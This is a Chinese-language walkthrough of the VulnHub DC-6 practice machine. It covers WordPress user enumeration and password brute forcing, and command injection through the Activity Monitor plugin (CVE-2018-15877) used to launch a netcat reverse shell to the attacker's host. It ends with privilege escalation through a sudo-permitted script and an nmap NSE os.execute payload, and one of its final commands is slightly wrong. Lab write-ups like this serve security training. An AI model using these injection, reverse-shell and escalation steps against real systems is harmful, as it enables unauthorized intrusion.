VulnHub_DC-6渗透流程

发布时间 2023-06-28 16:06:25作者: Mar10

DC-6

kali:192.168.157.131

靶机:192.168.157.150

修改host文件,添加192.168.157.150 wordy不然解析不了域名

信息收集

发现是WordPress 5.1.1,探测一下用户,使用wpscan对其用户进行枚举

wpscan --url http://wordy/ --enumerate u

另存为user.txt

扫一下目录找到登录界面

访问http://wordy/wp-login.php,得到登录界面

官网对密码本有说明

CLUE

OK, this isn't really a clue as such, but more of some "we don't want to spend five years waiting for a certain process to finish" kind of advice for those who just want to get on with the job.

cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt That should save you a few years. ?

cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt

现在用户密码都有了,直接爆破

wpscan --url http://wordy/ -U user.txt -P passwords.txt

得到了mark的密码:helpdesk01

登录成功,WordPress 的插件 Activity monitor 有一个远程命令执行的漏洞(CVE-2018-15877)

在tools界面,在ip后接其他命令,同样会执行(有输入长度限制,我这里直接改了输入框的maxlength)

既然能命令执行,直接弹个shell

反弹shell

kali先开启监听

nc -lnvp 9999 

单击 Lookup 执行(maxlength要大于命令长度不然会截断,这里>48就行)

127.0.0.1 | nc 192.168.157.131 9999 -e /bin/bash

监听成功,改成交互式shell

python -c "import pty;pty.spawn('/bin/bash')"

我们登录的是mark,那先看看mark目录下有什么

得到了graham的密码:GSo7isUM1D4

现在就可以ssh连接了

通过sudo -l找到backups.sh可以执行

graham@dc-6:~$ sudo -l
Matching Defaults entries for graham on dc-6:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User graham may run the following commands on dc-6:
    (jens) NOPASSWD: /home/jens/backups.sh

>是直接覆盖如果是>>就是追加,更改backups.sh里面的内容,让我们执行这个文件之后可以切换到jens的用户

echo "/bin/bash" > backups.sh
sudo -u jens ./backups.sh

发现jens用户可以使用nmap来提权

echo 'os.execute("/bin/sh")' > shell
sudo  nmap  --script=shell

这样就得到了root权限(不知道为什么我输入的命令不可见)

whoami
find / -name '*flag*.txt'
cat /root/theflag.txt

后面发现这个方式命令是可见的

 cat os.execute("/bin/sh") > nse_root.nse
 nmap --script=/home/jens/nse_root.nse

nse是nmap的插件扩展名